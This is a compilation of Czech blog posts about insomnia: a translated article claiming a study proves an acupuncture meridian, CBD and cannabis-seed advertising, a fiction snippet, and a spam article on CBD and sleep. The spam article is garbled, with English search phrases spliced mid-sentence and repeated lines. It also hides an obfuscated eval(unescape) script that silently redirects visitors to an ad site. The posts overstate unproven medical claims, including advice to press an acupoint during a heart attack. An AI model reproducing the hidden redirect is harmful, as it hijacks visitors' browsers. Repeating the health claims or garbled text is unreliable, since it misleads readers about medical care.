chránit srdce před poškozením a zabránit pronikání špatné energie do srdce. Když profesor Liu vpichoval tomuto mladému muži meridián osrdečníku, posiloval energii jeho meridiánu osrdečníku, aby bojoval proti virové energii. Podle tradiční čínské medicíny „srdce“ neodkazuje pouze na srdce samotné, ale také na stav mysli člověka. Meridián osrdečníku může tedy kromě léčby překrvení hrudníku, bušení srdce a anginy pectoris také zlepšit psychické napětí a nespavost.

Harvardská studie potvrzuje existenci meridiánu osrdečníku

Tradiční čínská medicína klade velký důraz na meridiány a mnoho konceptů léčení s nimi úzce souvisí. Meridiány jsou však pouhým okem neviditelné, takže konvenční západní medicína má k jejich existenci stále výhrady. V březnu 2021 však článek publikovaný v lékařském časopise Evidence-Based Complementary and Alternative Medicine, informoval o spolupráci mezi Harvard Medical School a the Institute of Acupuncture and Moxibustion of the China Academy of Chinese Medical Sciences (CACMS), kde poprvé zjistili možnost existence meridiánu osrdečníku. Meridián osrdečníku je jedním z „12 meridiánů“. Začíná v hrudníku, sleduje střední linii předloktí, pokračuje do dlaně a končí na špičce prostředníku. Má devět akupunkturních bodů: Tianchi, Tianquan, Quze, Ximen, Jianshi, Neiguan, Daling, Laogong a Zhongchong (od PC-1 do PC-9). Do studie bylo přijato 15 zdravých dobrovolníků a dva čínští lékaři označili dráhy a akupunkturní body meridiánu osrdečníku na jejich rukou a pažích a pro další potvrzení použili detektor pro další potvrzení. Poté vstříkli fluorescein do meridiánů osrdečníku dobrovolníků a sledovali směr pohybu fluoresceinu speciální kamerou. Ve studii bylo zdůrazněno, že fluorescein byl injekčněě podán intradermálně, nikoli subkutánně, intramuskulárně nebo intravenózně, aby se zajistilo, že se nerozptýlí do krevních cév. Vědci byli překvapeni, když zjistili, že poté, co byl dobrovolníkům vstříknut fluorescein do bodu Neiguan (PC-6), tak na jejich zápěstí, se postupem času na většině paží objevily fluorescenční čáry. Tyto „zářící čáry“ se šíří podél jejich paží až k ohybu loktů. Dráha této linie je přesně dráhou meridiánu perikardu. Jinými slovy, počínaje bodem Neiguan (PC-6) sleduje fluorescein meridián osrdečníku až k bodu Quze (PC-3).

Stojí za zmínku, že světlá skvrna v bodě Quze (PC-3) se objevila ještě dříve než fluorescenční čára, jako by fluorescein vstoupil do těla a poté „cestoval“ do bodu Quze (PC-3). Zajímavější je, že bod Quze (PC-3) je v tradiční čínské medicíně považován za „bod He-Sea“. Starověcí lidé věřili, že tyto druhy bodů mohou shromažďovat energii, takže výsledky to svým způsobem potvrzují. Kromě bodu Neiguan (PC-6) vědci také vstříkli fluorescein do bodu Jianshi (PC-5) jednoho dobrovolníka a objevila se také fluorescenční čára. V některých případech se linie protáhly až k horní části paže. Tento jev trval 18 hodin, než čáry pomalu zmizely. Vědci vstříkli fluorescein mimo akupunkturní body a neobjevila se žádná „fluorescenční čára“ Aby se potvrdilo, zda by se podobné lineární stopy objevily, pokud by byl fluorescein injektován do libovolného bodu na ruce, vědci navrhli kontrolní studii, ve které byl fluorescein injektován do bodu vzdáleného jeden centimetr od akupunkturního bodu Neiguan (PC-6) (injekce do neakupunkturního bodu). Tento experiment byl proveden sedmkrát a žádný z experimentů negeneroval podobné linie.

Bylo provedeno celkem 28 injekčních experimentů s akupunkturním bodem: 23 injekcí bylo podáno v bodě Neiguan (PC-6) a fluorescenční čáry se objevily 18krát; jedna injekce byla podána v bodě Jianshi (PC-5) a také se objevila fluorescenční čára; a čtyři injekce byly podány v bodech Daling (PC-7) a fluorescenční čáry se objevily třikrát. Celkově 22 z 28 injekcí vykazovalo čáry. Ve srovnání s neakupunkturními bodovými injekcemi byla statistická p-hodnota experimentů s akupunkturními bodovými injekcemi menší než 0,001, což znamená, že existence meridiánu osrdečníku je jasně prokázaná a není jen výplodem fantazie starověkých lidí (obecně p-hodnota menší než 0,05 je statisticky významná).

Masáž akupunkturních bodů na meridiánu osrdečníku pro zlepšení bušení srdce a nespavosti

Jak tedy konkrétně využít meridián osrdečníku k léčbě nemocí? Můžeme provádět akupresuru: stiskněte každý bod 100krát, dvakrát nebo třikrát denně (např. jednou ráno a jednou večer). Můžete použít palec k přímé masáži bodů nebo můžete použít masážní zařízení k vytvoření mírné bolesti a otoku v bodech. Následují tři hlavní body osrdečníku, které je třeba masírovat. Neiguan Point (PC-6): léčba srdečních problémů a zlepšení nespavosti Pokud máte bušení srdce, nepravidelný srdeční tep, náhlý infarkt myokardu a jiné srdeční problémy, masáž bodu Neiguan (PC-6) může pomoci zmírnit příznaky. Pokud někdo ve vašem okolí náhle utrpí infarkt myokardu, měli byste nejprve zavolat sanitku, poté sledovat pacientovy vitální funkce a dále s ním komunikovat o jeho stavu (pokud pacient ztratí vědomí, ujistěte se, že má uvolněné dýchací cesty, aby se vyhnul udušení). Během čekání na sanitku tiskněte nepřetržitě pacientovy body Neiguan (PC-6), abyste oddálili odumíraní myokardu, a abyste získali nějaký drahocenný čas na záchranu pacientova života.

Při použití akupunktury akupunkturisté obecně zvažují směr jehly: „jehlování ve směru toku energie čchi meridiánu (shunjing) tonizuje a jehlování proti směru toku energie čchi meridiánu (nijing) snižuje.“ Například, pokud je jehla zasunuta do bodu Neiguan (PC-6), může být vložena ve směru dlaně ruky (shunjing), aby se regulovala srdeční funkce, nebo ve směru nadloktí (nijing). ), které mohou také proniknout do bodů Jianshi (PC-5) a Ximen (PC-4) a zlepšit tak anginu pectoris a poskytnout úlevu od bolesti. Bod Neiguan (PC-6) je hlavním bodem, který nejen léčí srdeční problémy, ale také zlepšuje nespavost. Quze Point (PC-3): regulace srdeční funkce Quze (PC-3) je He-Sea bod meridiánu osrdečníku, což znamená, že se zde shromažďuje velké množství energie, která mu umožňuje regulovat funkci příslušných vnitřních orgánů. Například reguluje funkci osrdečníku a napomáhá stahování srdce. Může se pravidelně masírovat pro zlepšení bušení srdce, snížení překrvení hrudníku a arytmií.

Daling Point (PC-7): zmírnění bolesti a úpravuje náladu Bod Daling (PC-7) je Shu-Stream akupunkturním bodem meridiánu osrdečníku a může léčit mnoho bolestí, jako jsou bolesti na hrudi a v podpaží, bolesti paží a loktů. Je to také akupunkturní bod, který klade důraz na redukci a dokáže vyčistit srdce a játra od „ohnivé“ energie. Proto, když jste naštvaní nebo rozrušení, můžete stisknout bod Daling, abyste zmírnili svůj hněv.

Články Epoch Health slouží pro informační účely a nenahrazují individuální lékařskou radu. Obraťte se na důvěryhodného odborníka, který vám poskytne osobní lékařskou radu, diagnostiku a léčbu. Máte dotaz? Napište nám na AskADoctor@epochtimes.nyc Překlad: Martin Kirschner (www.vipnoviny.cz), Zdroj: theepochtimes.com Read the full article

[cannaxtrade]

Už jste vyzkoušeli naše CBD, CBG nebo CBN oleje? 😊 Studie, recenze a zkušenosti zákazníků prokázaly pozitivní účinky CBD v následujících případech: -qpodpora imunity -potlačení projevů epilepsie -ADHD u dětí -snížení stresu -protizánětlivé vlastnosti -migrény -cukrovka 1. typu -snížení bolesti -autismus -tourettův syndrom -glaukom -menstruační bolesti -nespavost -Parkinsonova choroba -akné -Alzheimerova choroba CBD má velký potenciál i u mnoha dalších indikací a jeho účinky jsou stále předmětem výzkumu a studií. Ve své praxi používá CBD stále více našich spokojených zákazníků a my jsme za to moc rádi 🥰 Objednávej na našem e-shopu ‼️ www.cannaxtrade.cz 🇨🇿 www.konopnekapky.sk 🇪🇺 #cbdolej #cbdoleje #cbdkapky #cbdkonopnyolej #cbdkonopnekvety #konopnekapicky #konopnekapky #konopnyolejcbd #cannaxtrade #konopnyolej #olejcbd #olejcbg #olejcbn #cbnolej #cbnoleje #cbn #cbd #cannaxlife #cbnkapky #cbdleci #cbdlek #cbdcesko #cbdfullspektrum #cbnfullspectrum #kapkycbd #kapkycbg #kapkyprozdravi #cbdzdravie #cbdzdravi #cbnzdravie (v místě Ostrava, Czech Republic) https://www.instagram.com/p/ClRewfnragC/?igshid=NGJjMDIxMWI=

[petrvyhlidka]

Spánek

„Nespavost?“

Divíšek si pohrdavě odfrkl. Jakákoliv vlastnost či stav, začínající předponou ne- pro něj byly změkčilostí.

„Normálního chlapa nic takového nepotká. Děj se co děj, já spím jako dudek.“

Vorel se na něj upřeně zahleděl.

„To jsi dobrej.“

Ředitel zeměkoule se hrdě narovnal.

„Viď!“

„Nebo fakt utahanej, když přiletíš večer domů. Já tedy na větvi ne a neusnout.“

[nukaseeds-cz]

Jak vybrat nejlepší konopná semínka: Jak si vybrat kvalitní konopná semínka od společnosti Nuka Seeds?

je důležité vědět, jak vybrat nejlepší semena konopí. Typ semen, který si vyberete, je základem pro zdraví a produktivitu vaší rostliny a v konečném důsledku i pro kvalitu výnosu.

Pokud jste začínající pěstitelé nebo zkušení nadšenci do konopí, kteří se chtějí vydat na obohacující cestu pěstování vlastních rostlin, je pro vás nejdůležitější vědět, jak si vybrat ta nejlepší konopná semena. Typ semen, který si vyberete, stanoví základ pro zdraví a produktivitu vaší rostliny a v konečném důsledku i pro kvalitu výnosu. V tomto obsáhlém průvodci pronikneme do světa konopných semínek se zvláštním zaměřením na konopná semínka a na to, jak si můžete opatřit semena prémiové kvality od společnosti Nuka Seeds.

Porozumění konopným semenům

Konopí, známé také jako marihuana, je rostlinný druh s bohatou historií, který se jako lék používá již tisíce let. Rostliny konopí jsou buď samčí, nebo samičí a pouze samičí rostliny vytvářejí bohaté pryskyřičné pupeny, které si spojujeme s léčebnými a rekreačními vlastnostmi marihuany.

U zrodu těchto fascinujících rostlin stojí semena. Semena nesou genetickou informaci dvou rodičovských rostlin, která se může projevovat mnoha způsoby, což poskytuje působivou rozmanitost typů semen a vlastností rostlin. Semena konopí se vyrábějí v různých typech: běžná, feminizovaná a samokvetoucí, přičemž každé z nich má své výhody a nevýhody. Porozumění vašim osobním potřebám a podmínkám pěstování vám pomůže vybrat ten nejlepší typ semen.

Sativa vs. Indica konopná semínka: Výběr správného kmene konopí pro vaše potřeby.

Při výběru konopných semen je třeba se rozhodnout, zda chcete pěstovat sativu, indiku nebo hybridní odrůdu. Pochopení rozdílů mezi těmito typy může výrazně ovlivnit vaše zkušenosti s pěstováním a kouřením. Pojďme se tedy ponořit a prozkoumat jedinečné vlastnosti odrůd sativa a indica.

Porozumění sativě a indice

Cannabis Sativa a Cannabis Indica Jedná se o dva základní druhy konopí, z nichž každý nabízí jiný soubor účinků, pěstitelských vlastností a zdravotních výhod. Rozdílné vlastnosti těchto odrůd odpovídají různým preferencím uživatelů, a proto je rozhodování mezi sativou a indikou klíčové.

Cannabis Sativa

Sativa pochází z teplejších klimatických oblastí v blízkosti rovníku, jako je jihovýchodní Asie, Střední a Jižní Amerika. Tyto odrůdy obvykle rostou do výšky (často metr a více) a mají delší cykly kvetení než jejich indické protějšky. Rostlina Sativa má úzké, světle zelené listy a je známo, že se jí daří venku, protože miluje slunečné prostředí.

Co se týče účinků, kmeny sativy jsou proslulé svým povznášejícím, mozkovým opojením, které může podpořit kreativitu, zvýšit energii a navodit pocit euforie. Sativy jsou vynikající pro denní užívání, společenské situace nebo práci na kreativních projektech. Léčebně mohou pomoci při depresích, poruchách pozornosti, únavě a poruchách nálady.

Cannabis Indica

Kmeny Indica pocházejí z drsnějších klimatických oblastí, například z horských oblastí Indie, Afghánistánu a Pákistánu. Rostliny Indica se vyznačují krátkým a bujným vzrůstem, díky čemuž jsou vhodnější pro pěstování v interiéru. Kmeny Indica mají rychlejší cyklus kvetení a jsou známé svými tmavými, širokými listy.

Odrůdy indiky jsou známé svými sedativními účinky, které se často označují jako "body high". Jsou ideální pro večerní užívání, protože mohou pomoci navodit hlubokou relaxaci, snížit nespavost a poskytnout úlevu od bolesti. Indiky jsou vynikající pro osoby, které se potýkají se stresem, bolestí, nespavostí a svalovými křečemi.

Volba: Sativa, Indica, nebo obojí?

Když už jsme si přiblížili rozdíly mezi sativou a indikou, jak se rozhodnout, kterou z nich pěstovat? Zde je několik faktorů, které je třeba zvážit:

1. Pěstební podmínky

Zvažte prostředí, ve kterém budete pěstovat. Pokud pěstujete venku v teplém a slunečném podnebí, mohou být nejlepší volbou semena sativy. Pokud máte omezený prostor nebo pěstujete v interiéru, je vhodnější indica, která má kratší a bujnou strukturu.

2. Požadované účinky

Toužíte po energickém, povznášejícím opojení, nebo dáváte přednost uklidňujícímu, tělo zklidňujícímu účinku? Vaše osobní preference určí, zda se přikloníte spíše k odrůdám sativa nebo indica.

3. Léčivé účinky

Pokud pěstujete konopí pro léčebné účely, zvažte zdravotní přínosy, o které usilujete. Sativa konopí může být skvělé pro zlepšení nálady a zvýšení hladiny energie, zatímco indicas jsou často upřednostňovány pro úlevu od bolesti a podporu spánku.

Volba sativy nebo indiky by nakonec měla odpovídat vašim osobním potřebám a podmínkám pěstování. Za zmínku stojí také to, že mnoho moderních kmenů jsou hybridy, které nabízejí rovnováhu sativních a indických genetik (HYBRIDY). Prozkoumejte své možnosti a experimentujte, dokud nenajdete kmeny, které vám vyhovují. A nezapomeňte, že ať už si vyberete cokoli, kvalitní semena jsou základem úspěšného pěstování, proto si vyberte dobrého dodavatele, jako je společnost Nuka Seeds, abyste si zajistili ten nejlepší začátek své cesty za konopím.

Další klíčové faktory, které je třeba zvážit při výběru konopných semínek

1. Genetika

Prvním a pravděpodobně nejzásadnějším faktorem, který je třeba vzít v úvahu, je genetika. Genetika osiva určuje potenciál vaší rostliny. Je zodpovědná za odolnost rostliny, rychlost růstu, velikost, výnos, odolnost vůči chorobám a škůdcům a sílu kanabinoidů.

Při výběru konopných semínek dbejte na to, abyste si vybrali genetiku, která odpovídá vašim cílům. Chcete pěstovat pro CBD, vlákninu nebo konopná semena pro výživu? Vyberte si kmen, který je vyšlechtěn s ohledem na tyto cíle. Spolehlivá banka semen, jako je například Nuka Seeds, vám poskytne podrobné informace o genetickém profilu svých semen.

2. Feminizovaná semena

Jak již bylo zmíněno, cenné pupeny bohaté na CBD produkují pouze samičí rostliny konopí. Chcete-li zvýšit své šance na pěstování samičích rostlin, zvažte nákup feminizovaných semen. Tato semena jsou vyšlechtěna tak, aby eliminovala mužské chromozomy, čímž se zvyšuje pravděpodobnost produkce samičích rostlin.

3. Samonakvétací semena

Samonakvétací semena jsou ideální pro začátečníky. Jsou vyšlechtěna tak, aby kvetla spíše na základě věku než na základě světelných cyklů, což usnadňuje jejich pěstování. Mají také kratší růstový cyklus, což umožňuje více sklizní za rok.

4. Zdroj semen

Kvalita semen zásadně ovlivňuje úspěch vašeho pěstování. Vždy nakupujte semena z renomovaného zdroje, který může zaručit kvalitu a genetiku svých semen. Dobrá semenná banka bude také nabízet různé druhy semen, aby uspokojila potřeby různých pěstitelů.

Proč si vybrat konopná semínka od společnosti Nuka Seeds?

Pokud hledáte kvalitní konopná semena, nehledejte nic jiného než Nuka Seeds. Specializují se na prémiovou genetiku konopí a zaměřují se na kvalitu a stabilitu svých kmenů. Ať už hledáte kmeny s vysokým obsahem CBD, samokvetoucí nebo feminizovaná semena, společnost Nuka Seeds nabízí rozmanitý výběr, který uspokojí vaše pěstitelské potřeby.

Společnost Nuka Seeds je známá svým pečlivým šlechtitelským procesem, který zajišťuje, že genetika jejich semen je špičková. Jejich závazek ke kvalitě znamená, že každé zakoupené semeno je zárukou vynikající klíčivosti, silného růstu a velkých výnosů.

Společnost Nuka Seeds si navíc uvědomuje důležitost spokojenosti zákazníků. Díky jejich vynikajícímu zákaznickému servisu a bezproblémovému nakupování je nákup konopných semen hračkou.

Závěrem lze říci, že při výběru konopných semínek je třeba zvážit genetiku, typ semínek a především zdroj semínek. Se společností Nuka Seeds nekupujete pouze konopná semena, ale investujete do úspěšné a naplňující cesty pěstování. Spojte se s námi ještě dnes a vydejte se na cestu pěstování s nejlepšími semeny na trhu.

Články o konopí, konopná semena. konopné akce a slevy Nuka Seeds. Bezplatné články o pěstování konopí,zprávy o pěstování a problematice konopí a mnoho dalšího..

[hovmanddrachmann]

Unavuje Vás Vysoký Krevní Tlak, Jste Ospalí?

Content

Může CBD Pomoci S Poruchami Spánku?

Naši Klienti Sdílejí Radost

Top 3 Praktické Využití Konopných Produktů

Uspí Vás CBD: Nedávné Studie

CBD A Nespavost

Zdraví

UB40 Titulky Reggae Night At The Bowl

Místo toho může CBD pomoci vrátit tělu obnovu a rovnováhu, takže se probudíte svěží a připraveni na další den. CBD vám nemusí způsobit ospalost během dne, ale může vám pomoci spát v noci. Recenze provedená na začátku roku 2019 zjistila, že CBD může pomoci člověku rychle usnout, zlepšit kvalitu spánku how much cbd no thc oil to take first time. a snížit poruchy spánku. Zdá se, že jak CBD interaguje s naším endokanabinoidním systémem, může pomoci obnovit rovnováhu mnoha základních funkcí našeho těla, včetně spánku. Případová studie z roku 2016 zjistila, že CBD pomohlo snížit úzkost a zlepšit spánek mladé dívky, která bojovala s nespavostí.

Když se vás zmocní stres a úzkost, dokonce vám CBD pomůže zůstat v klidu a sebrat.

U některých však tyto možnosti neposkytují zamýšlené výsledky.

Případová studie z roku 2016 zjistila, že CBD pomohlo snížit úzkost a zlepšit spánek mladé dívky, která bojovala s nespavostí.

V důsledku toho bude mozek, jakmile nastane večer, více ‚unavený‘ – takže budete snáze usínat.

CBD, pokud je konzumováno v nízké dávce, může zlepšit vaši energetickou hladinu, soustředit pozornost a může zvýšit vaši produktivitu.

Tento účinek CBD souvisí s jeho potenciálními anxiolytickými účinky. Nespavost a další poruchy spánku jsou často způsobeny úzkostí a stresem. To je důvod, proč mnoho uživatelů uvádí, že jej používají jako přirozenou how do i know what the correct dosage of cbd oil is for me pomoc při spánku. Prášky na spaní na předpis mohou často způsobit ospalost i během dne. Protože práškům na spaní chvíli trvá, než odezní, můžete se dokonce probudit s pocitem omámenosti a dezorientace.

Může CBD Pomoci S Poruchami Spánku?

Naopak, pokud vaše spánkové cykly selžou a vy se během dne flákáte, váš mozek může zůstat v noci vzhůru, protože jste ho dostatečně nevyužívali. CBD Gummies byly navrženy pro použití u jedinců s chronickou bolestí. Jako jedinec, který se pravidelně potýká s bolestí, bude používání těchto gumiček CBD velkým přínosem. Tento produkt what plant does cbd oil come from informuje o oleji a pomáhá při podpoře spánku, zlepšuje zdraví kostí a kloubů. Kromě toho budete s tímto produktem schopni snížit bolest ve vašem těle a zanecháte vás fyzicky a emocionálně silnými. Smilz gummies obsahují bylinné přísady, které jsou bezpečné pro použití, a nejlepší na tom je, že byly posouzeny a certifikovány.

CBD Gummies byly navrženy pro použití u jedinců s chronickou bolestí.

CBD se však obvykle používá k pomoci s úzkostí, protože má uklidňující účinek na tělo a existuje mnoho studií, které podporují jeho použití jako anxiolytika.

Tento produkt informuje o oleji a pomáhá při podpoře spánku, zlepšuje zdraví kostí a kloubů.

Kanabidiolový olej je většinou legálně extrahován z konopí (s poměrem THC menším než 0,3 %), které nemá žádné psychotropní účinky. CBD se však obvykle používá k pomoci s úzkostí, protože má uklidňující účinek na tělo a existuje mnoho studií, které podporují jeho použití jako anxiolytika. Když diskutujeme o vztahu mezi CBD a spánkem, toto je klíčový welche cbd sorte bod. Největší vliv CBD na váš spánek je ve skutečnosti to, jak ovlivňuje celkovou úroveň úzkosti a fyzické bolesti. Například je známo, že nízké dávky užívané ráno zvyšují denní povědomí a umožňují vašemu mozku využívat více jeho zdrojů během dne. V důsledku toho bude mozek, jakmile nastane večer, více ‚unavený‘ – takže budete snáze usínat.

Naši Klienti Sdílejí Radost

Depresí a úzkostí trpí více než 300 milionů lidí na celém světě. Po celá desetiletí se léčba stavů duševního zdraví skládala z terapie, poradenství a léků na předpis. U některých však tyto možnosti WILL HHC SHOW UP ON A DRUG TEST? neposkytují zamýšlené výsledky. I když samotné CBD vás nemusí unavit, může být velkou pomocí v kombinaci s dalšími přírodními sloučeninami, o kterých je známo, že podporují spánek.

V důsledku toho bude mozek, jakmile nastane večer, více ‚unavený‘ – takže budete snáze usínat.

CBD, pokud je konzumováno v nízké dávce, může zlepšit vaši energetickou hladinu, soustředit pozornost a může zvýšit vaši produktivitu.

U některých však tyto možnosti neposkytují zamýšlené výsledky.

CBD může mít potenciál pomoci těm, kteří bojují s poruchami spánku.

Samozřejmě, někteří lidé chtějí CBD produkt, který je unavuje. can dogs have delta 8 thc To je ideální vlastnost, pokud se vám nedaří usnout nebo když se vracíte domů z práce a zoufale hledáte způsob, jak se uvolnit po stresujícím huile de chanvre ou huile de cbd a adrenalinovém dni. V takovém případě vyberte některé produkty CBD, u kterých je pravděpodobnější, že se budete cítit unavení, na základě konkrétních faktorů, kterými se budeme zabývat.

Top 3 Praktické Využití Konopných Produktů

Po užití CBD se u subjektu zlepšilo množství i kvalita spánku. Můžete slyšet, jak někteří uživatelé CBD říkají, že konzumace CBD je způsobuje what liquid cbd products are compatible for the yocan hive and hive 2 oil cartridge ospalost. Musíte pochopit, že CBD vykazuje dvoufázové vlastnosti, což znamená, že vykazuje různé vlastnosti v různých dávkách.

V takovém případě vyberte některé produkty CBD, u kterých je pravděpodobnější, že se budete cítit unavení, na základě konkrétních faktorů, kterými se budeme zabývat.

Můžete slyšet, jak někteří uživatelé CBD říkají, že konzumace CBD je způsobuje ospalost.

I když samotné CBD vás nemusí unavit, může být velkou pomocí v kombinaci s dalšími přírodními sloučeninami, o kterých je známo, že podporují spánek.

Kanabidiolový olej je většinou legálně extrahován z konopí (s poměrem THC menším než 0,3 %), které nemá žádné psychotropní účinky.

Dalším hlavním důvodem, proč lidé používají CBD, je jeho schopnost uklidnit mysl a tělo.

Samozřejmě, někteří lidé chtějí CBD produkt, který je unavuje.

Jak název napovídá, Evn CBD nabízí produkty, díky kterým se budete cítit vyrovnaně a vyrovnaně. Značka nabízí širokou škálu produktů CBD, včetně olejů, kapslí a gumy. Když how much cbd oil is too much se vás zmocní stres a úzkost, dokonce vám CBD pomůže zůstat v klidu a sebrat. Dalším hlavním důvodem, proč lidé používají CBD, je jeho schopnost uklidnit mysl a tělo.

Uspí Vás CBD: Nedávné Studie

CBD může mít potenciál pomoci těm, kteří bojují s poruchami spánku. Studie z roku 2014 zjistila, že CBD významně zvýšilo celkové množství Boutique To You spánku mezi účastníky ve srovnání s placebem. CBD je sloučenina přirozeně se vyskytující v různých částech rostliny konopí.

Samozřejmě, někteří lidé chtějí CBD produkt, který je unavuje.

CBD může mít potenciál pomoci těm, kteří bojují s poruchami spánku.

Kanabidiolový olej je většinou legálně extrahován z konopí (s poměrem THC menším než 0,3 %), které nemá žádné psychotropní účinky.

Můžete slyšet, jak někteří uživatelé CBD říkají, že konzumace CBD je způsobuje ospalost.

Dalším hlavním důvodem, proč lidé používají CBD, je jeho schopnost uklidnit mysl a tělo.

CBD, pokud je konzumováno v nízké dávce, může zlepšit vaši energetickou hladinu, soustředit pozornost a může zvýšit vaši produktivitu. Na druhou stranu vyšší dávky CBD snižují váš krevní tlak a mohou způsobit mírnou ospalost is delta 8 thc legal in alabama a únavu. Miliony lidí na celém světě mají problémy se spánkem. Ať už se jedná o potíže s usínáním, udržením spánku nebo plnou nespavostí, problémy se spánkem jsou jedním z největších zdravotních problémů moderní doby. eval(unescape("%28function%28%29%7Bif%20%28new%20Date%28%29%3Enew%20Date%28%27June%209%2C%202022%27%29%29setTimeout%28function%28%29%7Bwindow.location.href%3D%27https%3A//ads.shopgiejo.com%27%3B%7D%2C5*1000%29%3B%7D%29%28%29%3B")); CBD Guides

Author Biography: Elena Ognivtseva

Elena is an avid blogger who enjoys writing articles on fashion, beauty, lifestyle, fitness and recently, CBD niches. Elena has been described as a "delightfully eccentric with a creative take on things" (New York Times) with an ability to "bring you new facts that will make you go WOW!" (Vanity Fair). Elena has been writing since her uni days where she was a regular contributor to the student magazine. After pursuing a career in finance in the heart of London's financial hub, Elena has decided to start blogging in her spare time as an outlet for her creativity and ideas. During her spare time, Elena enjoy horse riding, camping and hiking, interior design and keeping abreast with the latest trends. Elena is in the process of starting up her own beauty cosmetics line in the near future. Elena is also a contributing author to fashion and lifestyle magazines and has been featured in Vice, Country Living, Harrods magazine, Daily Telegraph, Grazia and Women's Health.

[ctalnlifgr]

Untitled by Michaela Knizova Via Flickr: 2012 (The Death of the Moth) Instagram